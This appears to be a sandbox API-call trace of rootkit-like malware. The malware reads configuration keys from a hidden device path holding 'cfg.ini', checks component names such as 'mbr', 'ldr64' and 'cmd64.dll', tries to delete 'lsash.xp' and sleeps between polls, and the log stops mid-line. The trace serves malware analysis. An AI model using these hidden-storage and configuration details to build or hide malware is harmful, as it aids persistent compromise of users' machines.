[0130.303] KeWaitForMutexObject () returned 0x0 [0130.303] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.303] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.303] IdePortDispatch () returned 0x103 [0130.304] KeWaitForMutexObject () returned 0x0 [0130.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.304] KeLeaveCriticalRegion () [0130.304] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.304] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.304] KeEnterCriticalRegion () [0130.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.304] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.304] KeLeaveCriticalRegion () [0130.304] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.304] KeEnterCriticalRegion () [0130.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.304] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.304] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c080c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.304] KeLeaveCriticalRegion () [0130.304] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.304] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.304] KeEnterCriticalRegion () [0130.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.305] ExFreePoolWithTag (P=0xfffffa800294df60, Tag=0x0) [0130.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.305] KeLeaveCriticalRegion () [0130.305] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.305] ReleaseMutex (hMutex=0xf0) returned 1 [0130.305] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.305] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.305] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.305] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.305] KeEnterCriticalRegion () [0130.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.305] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.305] IdePortDispatch () returned 0x103 [0130.305] KeWaitForMutexObject () returned 0x0 [0130.305] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.305] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.305] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.305] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.305] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.305] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.305] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.305] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.305] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.305] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.305] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.305] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.305] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.305] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.305] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.305] KeLeaveCriticalRegion () [0130.305] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.306] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.306] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.306] KeEnterCriticalRegion () [0130.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.306] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.306] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.306] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.306] IdePortDispatch () returned 0x103 [0130.306] KeWaitForMutexObject () returned 0x0 [0130.306] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.306] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.306] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.306] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.306] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.306] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.306] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.306] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.306] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.306] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.306] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.306] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.306] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.306] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.306] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.306] KeLeaveCriticalRegion () [0130.306] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.306] ReleaseMutex (hMutex=0x100) returned 1 [0130.306] Sleep (dwMilliseconds=0x2bf20) [0130.313] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70dd5530, dwHighDateTime=0x1d24fa4)) [0130.313] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.313] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.313] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.313] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.313] KeEnterCriticalRegion () [0130.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.313] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.313] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.313] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.314] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.314] IdePortDispatch () returned 0x103 [0130.314] KeWaitForMutexObject () returned 0x0 [0130.314] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.314] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.314] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.314] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.314] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.314] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c910 [0130.314] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.314] KeLeaveCriticalRegion () [0130.314] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.314] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.314] KeEnterCriticalRegion () [0130.314] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.314] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.314] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.314] KeLeaveCriticalRegion () [0130.314] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.314] KeEnterCriticalRegion () [0130.314] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.314] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.314] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.314] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.314] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.314] IdePortDispatch () returned 0x103 [0130.315] KeWaitForMutexObject () returned 0x0 [0130.315] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.315] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.315] KeLeaveCriticalRegion () [0130.315] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.315] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.315] KeEnterCriticalRegion () [0130.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.315] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d5b000 [0130.315] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.315] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.315] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.315] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.315] IdePortDispatch () returned 0x103 [0130.315] KeWaitForMutexObject () returned 0x0 [0130.315] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.315] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.315] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.315] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.315] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.315] IdePortDispatch () returned 0x103 [0130.316] KeWaitForMutexObject () returned 0x0 [0130.316] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.316] KeLeaveCriticalRegion () [0130.316] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.316] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.316] KeEnterCriticalRegion () [0130.316] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.316] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.316] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.316] KeLeaveCriticalRegion () [0130.316] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.316] KeEnterCriticalRegion () [0130.316] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.316] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.316] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.316] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.316] KeLeaveCriticalRegion () [0130.316] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.316] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.316] KeEnterCriticalRegion () [0130.316] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.316] ExFreePoolWithTag (P=0xfffffa800294c910, Tag=0x0) [0130.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.317] KeLeaveCriticalRegion () [0130.317] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.317] ReleaseMutex (hMutex=0xf0) returned 1 [0130.317] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.317] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.317] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.317] KeEnterCriticalRegion () [0130.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.317] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.317] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.317] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.317] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.317] IdePortDispatch () returned 0x103 [0130.317] KeWaitForMutexObject () returned 0x0 [0130.317] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.317] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.317] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.317] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.317] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.317] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294dcb0 [0130.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.317] KeLeaveCriticalRegion () [0130.317] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.317] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.317] KeEnterCriticalRegion () [0130.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.317] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.317] KeLeaveCriticalRegion () [0130.317] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.318] KeEnterCriticalRegion () [0130.318] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.318] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.318] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.318] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.318] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.318] IdePortDispatch () returned 0x103 [0130.318] KeWaitForMutexObject () returned 0x0 [0130.318] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.318] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.318] KeLeaveCriticalRegion () [0130.318] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.318] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.318] KeEnterCriticalRegion () [0130.318] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.318] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d5c000 [0130.318] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.318] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.318] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.318] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.318] IdePortDispatch () returned 0x103 [0130.318] KeWaitForMutexObject () returned 0x0 [0130.318] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.318] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.318] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.318] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.318] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.319] IdePortDispatch () returned 0x103 [0130.319] KeWaitForMutexObject () returned 0x0 [0130.319] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.319] KeLeaveCriticalRegion () [0130.319] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.319] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.319] KeEnterCriticalRegion () [0130.319] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.319] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.319] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.319] KeLeaveCriticalRegion () [0130.319] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.319] KeEnterCriticalRegion () [0130.319] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.319] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.320] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294dd70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.320] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.320] KeLeaveCriticalRegion () [0130.320] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.320] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.320] KeEnterCriticalRegion () [0130.320] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.320] ExFreePoolWithTag (P=0xfffffa800294dcb0, Tag=0x0) [0130.320] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.320] KeLeaveCriticalRegion () [0130.320] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.320] ReleaseMutex (hMutex=0xf0) returned 1 [0130.320] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.320] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.320] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.320] KeEnterCriticalRegion () [0130.320] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.320] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.320] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.320] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.320] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.320] IdePortDispatch () returned 0x103 [0130.320] KeWaitForMutexObject () returned 0x0 [0130.320] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.320] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.320] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.320] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.320] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.320] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 